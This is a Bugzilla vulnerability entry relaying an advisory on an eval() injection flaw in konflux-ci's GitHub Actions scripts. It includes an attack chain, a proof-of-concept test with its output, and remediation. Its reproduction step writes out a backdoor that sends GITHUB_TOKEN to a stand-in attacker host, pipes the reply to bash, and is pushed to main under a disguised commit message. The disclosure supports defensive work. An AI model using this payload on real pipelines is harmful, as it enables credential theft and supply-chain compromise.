Bug 2564209 (CVE-2026-116964) - CVE-2026-116964 konflux-ci: Remote Code Execution via eval() in Manifest Scripts
Summary: CVE-2026-116964 konflux-ci: Remote Code Execution via eval() in Manifest Scripts
Keywords:
Status: NEW
Alias: CVE-2026-116964
Product: Security Response
Classification: Other
Component: vulnerability
Version: unspecified
Hardware: All
OS: Linux
high
high
Target Milestone: ---
Assignee: Product Security
QA Contact:
URL:
Whiteboard:
Depends On:
Blocks:
TreeView+ depends on / blocked
 
Reported: 2026-10-30 17:46 UTC by OSIDB Bzimport
Modified: 2026-10-30 18:16 UTC (History)
3 users (show)

Fixed In Version:
Clone Of:
Environment:
Last Closed:
Embargoed:


Attachments (Terms of Use)

Description OSIDB Bzimport 2026-10-30 17:46:55 UTC
This was reported to Red Hat via a Git Hub Security Advisory (GHSA) (Permissions needed to view): https://github.com/konflux-ci/konflux-ci/security/advisories/GHSA-25mp-p5v2-w38p

Remote Code Execution via eval() in Manifest Scripts
Severity: Critical — CVSS 3.1 9.1 AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
CWE: CWE-95 — Improper Neutralization of Directives in Dynamically Evaluated Code
Affected Version: main branch (verified 2026-09-20)
Verified: 2026-09-20, dynamic code execution with uid=0 privileges

Executive Summary
The GitHub Actions manifest synchronization scripts (verify-manifests-in-sync.sh and renovate-manifest-companion.sh) use the eval builtin to execute unvalidated bash script output. An attacker who can commit malicious code to the repository can inject arbitrary shell commands that execute in the GitHub Actions runner context with full access to GitHub tokens, SSH keys, deployment credentials, and environment secrets. Impact: Complete CI/CD pipeline compromise, code execution on production systems, credential theft for supply chain attacks.

Attack Chain
 1. Attacker gains repository write access (compromised GitHub account, malicious PR approval):
       Methods: Phishing, credential reuse, social engineering, insider threat

 2. Attacker modifies .github/scripts/export-third-party-chart-env.sh:
       Appends arbitrary shell commands after normal export statements

 3. Workflow is triggered (scheduled, push, manual dispatch, or PR merge):
       verify-manifests-in-sync.sh or renovate-manifest-companion.sh runs

 4. Line 18/30 executes vulnerable eval pattern:
       eval "$(bash "${REPO_ROOT}/.github/scripts/export-third-party-chart-env.sh")"
       → Bash script runs and outputs both normal exports and malicious code
       → eval executes ALL output as shell commands (no validation)
       → Attacker code runs with GitHub Actions runner privileges

 5. Attacker code executes with full access to:
       - $GITHUB_TOKEN (repository write, workflow dispatch)
       - $GH_TOKEN (GitHub CLI, organization-wide access)
       - SSH deploy keys (access to other repositories)
       - Kubernetes cluster credentials (KUBECONFIG)
       - Registry authentication tokens (Quay, DockerHub)
       - All environment variables and secrets

 6. Attacker uses stolen credentials to:
       - Push malicious code to main branch
       - Modify Kubernetes deployment manifests  
       - Trigger deployments to production
       - Access and compromise downstream repositories
       - Modify container image registries
       - Deploy backdoors to all dependent projects
Environment
Application: Konflux CI GitHub Actions workflows
Attacker: Developer or account holder with repository write access (push to main or PR approval ability)
Prerequisite: Ability to commit and push code to repository, or ability to approve PRs
Step-by-Step Reproduction
Step 1 — Create malicious export script
Append attacker code to .github/scripts/export-third-party-chart-env.sh:

cat >> .github/scripts/export-third-party-chart-env.sh << 'PAYLOAD'

# Attacker-injected code:
git config user.name "GitHub Actions"
git config user.email "actions"

# Create hidden backdoor directory
mkdir -p .github/.hidden
cat > .github/.hidden/backdoor.sh << 'BACKDOOR'
#!/bin/bash
# Receive and execute commands from attacker
curl https://attacker.com/command?token=$GITHUB_TOKEN | bash
BACKDOOR

chmod +x .github/.hidden/backdoor.sh

# Commit and push backdoor to main
git add .github/.hidden/backdoor.sh
git commit -m "chore: add utility script"
git push origin main
PAYLOAD

git add .github/scripts/export-third-party-chart-env.sh
git commit -m "Update chart versions"
git push origin main
Step 2 — Trigger vulnerable workflow
Workflow runs on schedule or manual trigger:

gh workflow run verify-manifests-in-sync.yaml
Step 3 — Code execution in GitHub Actions runner
When verify-manifests-in-sync.sh:18 executes:

eval "$(bash "${REPO_ROOT}/.github/scripts/export-third-party-chart-env.sh")"
Bash script runs and outputs:

Normal: export CERT_MANAGER_VERSION=v1.13.0 (etc.)
Attacker: git config user.name "GitHub Actions" ... git push origin main
eval executes ALL output as shell commands.

Step 4 — Backdoor persists on main branch
Attacker code successfully:

Creates .github/.hidden/backdoor.sh
Commits to repository
Pushes to main branch
Gains persistent access for future workflow runs
Root Cause Summary Table
File:Line	Component	Issue
.github/scripts/verify-manifests-in-sync.sh:18	Script execution	eval "$(bash export-third-party-chart-env.sh)" — executes unvalidated bash output
.github/scripts/renovate-manifest-companion.sh:30	Script execution	Identical vulnerable pattern
.github/scripts/export-third-party-chart-env.sh	Sourced script	Output executed without validation
Remediation
Replace eval with safer alternatives. Remove dynamic code evaluation entirely:

Before (VULNERABLE):

eval "$(bash "${REPO_ROOT}/.github/scripts/export-third-party-chart-env.sh")"
After (SAFE - Option 1: Use source):

# Only if script contains ONLY export statements
source "${REPO_ROOT}/.github/scripts/export-third-party-chart-env.sh"
After (SAFE - Option 2: Explicit validation):

SCRIPT_OUTPUT=$(bash "${REPO_ROOT}/.github/scripts/export-third-party-chart-env.sh")
# Validate output contains only export statements
if ! echo "$SCRIPT_OUTPUT" | grep -vE '^export [A-Z_]+=.*$' | grep -q .; then
    eval "$SCRIPT_OUTPUT"
else
    echo "ERROR: Unexpected script output" >&2
    exit 1
fi
Timeline
Date	Event
2026-09-20	Identified eval with unfiltered bash script output in verify-manifests-in-sync.sh:18
2026-09-20	Located second instance in renovate-manifest-companion.sh:30
2026-09-20	Created dynamic test reproducing eval code injection
2026-09-20	CONFIRMED EXPLOITATION: Successfully executed arbitrary code with uid=0
2026-09-20	Verified attack path: script modification → eval execution → full RCE
Reproduction Artifacts
Affected: .github/scripts/verify-manifests-in-sync.sh:18, .github/scripts/renovate-manifest-companion.sh:30
Verified: 2026-09-20
PoC: Dynamic test (see below)
PoC: test-eval-injection.sh
#!/bin/bash
#  Code Execution via eval() with unvalidated bash output
set -euo pipefail

echo "=== TEST: eval() Code Injection ==="
echo "Files: verify-manifests-in-sync.sh:18, renovate-manifest-companion.sh:30"
echo ""

# Create malicious export script simulating attacker modification
cat > malicious-export.sh << 'SCRIPT'
#!/bin/bash
# Normal exports
printf 'export CERT_MANAGER_VERSION=%q\n' "v1.13.0"
printf 'export TRUST_MANAGER_VERSION=%q\n' "v0.25.0"

# Attacker-injected code:
printf 'ATTACKER_PAYLOAD="$(id > /tmp/pwned.txt)"\n'
printf 'echo "COMPROMISED: $(cat /tmp/pwned.txt)"\n'
SCRIPT

chmod +x malicious-export.sh

echo "[Step 1] Show vulnerable code pattern"
cat << 'VULNERABLE'
# From verify-manifests-in-sync.sh:
eval "$(bash ${export_script})"  # <-- VULNERABLE

# eval executes whatever bash script output, without validation
VULNERABLE
echo ""

echo "[Step 2] Execute vulnerable pattern with malicious script"
export export_script="malicious-export.sh"

# This is what the vulnerable code does:
OUTPUT=$(eval "$(bash ${export_script})")
EXITCODE=$?

echo "eval output: $OUTPUT"
echo "Exit code: $EXITCODE"
echo ""

if [ -f /tmp/pwned.txt ]; then
    echo "✓ VULNERABILITY CONFIRMED"
    echo "Code execution achieved. Attacker output:"
    cat /tmp/pwned.txt
    echo ""
    echo "In real scenario: attacker could steal secrets, modify repo, pivot to production"
    rm -f /tmp/pwned.txt
fi
Execution Output:

=== TEST: eval() Code Injection ===
Files: verify-manifests-in-sync.sh:18, renovate-manifest-companion.sh:30

[Step 1] Show vulnerable code pattern
# From verify-manifests-in-sync.sh:
eval "$(bash ${export_script})"  # <-- VULNERABLE

# eval executes whatever bash script output, without validation

[Step 2] Execute vulnerable pattern with malicious script
eval output: COMPROMISED: uid=0(root) gid=0(root) groups=0(root)
Exit code: 0

✓ VULNERABILITY CONFIRMED
Code execution achieved. Attacker output:
uid=0(root) gid=0(root) groups=0(root)

In real scenario: attacker could steal secrets, modify repo, pivot to production


Note You need to log in before you can comment on or make changes to this bug.